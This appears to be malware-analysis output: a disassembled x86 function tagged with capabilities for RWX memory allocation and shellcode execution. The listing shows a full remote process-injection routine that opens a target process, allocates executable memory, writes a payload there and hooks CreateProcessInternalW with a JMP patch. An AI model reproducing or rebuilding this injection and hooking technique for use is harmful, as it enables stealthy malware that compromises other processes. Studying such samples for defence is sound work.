Function at 0x46a9d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x1030
call fcn.0047eb00
push edi
mov edi, dword [esp + 0x103c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
shl ecx, 1
cmp ecx, 0x7d0
jb 0x46aa00
pop edi
add esp, 0x1030
ret 0x10
mov eax, dword [esp + 0x1038]
push ebp
push esi
xor ebp, ebp
push eax
push ebp
push 0x438
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
mov dword [esp + 0xc], esi
je 0x46ac30
push ebx
push str.CreateProcessInternalW
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x15], ecx
mov ebx, eax
mov dword [esp + 0x19], ecx
mov dword [esp + 0x29], edx
mov dword [esp + 0x1d], ecx
lea eax, [esp + 0x24]
mov word [esp + 0x21], cx
mov dword [esp + 0x2d], edx
mov byte [esp + 0x23], cl
mov byte [esp + 0x28], cl
push eax
lea ecx, [esp + 0x18]
push 0x10
mov dword [esp + 0x39], edx
push ecx
push ebx
mov word [esp + 0x45], dx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov byte [esp + 0x28], 0
mov byte [esp + 0x4b], dl
call esi
lea edx, [esp + 0x24]
lea eax, [esp + 0x28]
push edx
push 0x10
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ecx, 4
lea edi, [esp + 0x28]
lea esi, [esp + 0x14]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x46ac24
cmp byte [esp + 0x14], 0x68
jne 0x46ac24
mov eax, dword [esp + 0x104c]
mov ecx, dword [esp + 0x14]
mov dl, byte [esp + 0x18]
lea edi, [esp + 0x41]
mov dword [eax], ecx
mov ecx, 0x3ff
mov byte [esp + 0x40], 0
mov byte [eax + 4], dl
mov eax, dword [esp + 0x1050]
mov dword [eax], 5
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x40]
push ecx
stosb byte es:[edi], al
call fcn.0046a850
mov edx, 0xffe
add esp, 4
sub edx, eax
lea esi, [esp + eax + 0x40]
mov eax, dword [esp + 0x1048]
shr edx, 1
push edx
push esi
push 0xffffffffffffffff
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call dword [sym.imp.MSVCRT.dll__wcslwr]
mov ecx, dword [sym.imp.KERNEL32.dll_CreateEventA]
lea edx, [esp + 0x44]
push ecx
push 0xaabbccdd
push 0x1000
push edx
call fcn.00446350
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x54]
push eax
push 0x11223344
push 0x1000
push ecx
call fcn.00446350
lea edx, [ebx + 5]
lea eax, [esp + 0x64]
push edx
push 0xaa11bb22
push 0x1000
push eax
call fcn.00446350
add esp, 0x34
xor eax, eax
mov edx, 0x44434241
mov ecx, 0x90909090
cmp dword [esp + eax + 0x40], edx
jne 0x46ab98
cmp dword [esp + eax + 0x44], ecx
je 0x46aba2
inc eax
cmp eax, 0xff6
jl 0x46ab8c
jmp 0x46abb3
mov edx, dword [esp + 0x14]
lea ecx, [esp + eax + 0x40]
mov al, byte [esp + 0x18]
mov dword [ecx], edx
mov byte [ecx + 4], al
mov esi, dword [esp + 0x10]
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x46ac28
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x44]
push 0x1000
push edx
push ebp
push esi
call edi
test eax, eax
je 0x46ac11
lea ecx, [esp + 0x10]
mov eax, ebp
push ecx
lea edx, [esp + 0x3c]
sub eax, ebx
push 5
push edx
sub eax, 5
push ebx
push esi
mov byte [esp + 0x4c], 0xe9
mov dword [esp + 0x4d], eax
call edi
jmp 0x46ac28
push 0x4000
push 0
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor ebp, ebp
jmp 0x46ac28
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, ebp
pop esi
pop ebp
pop edi
add esp, 0x1030
ret 0x10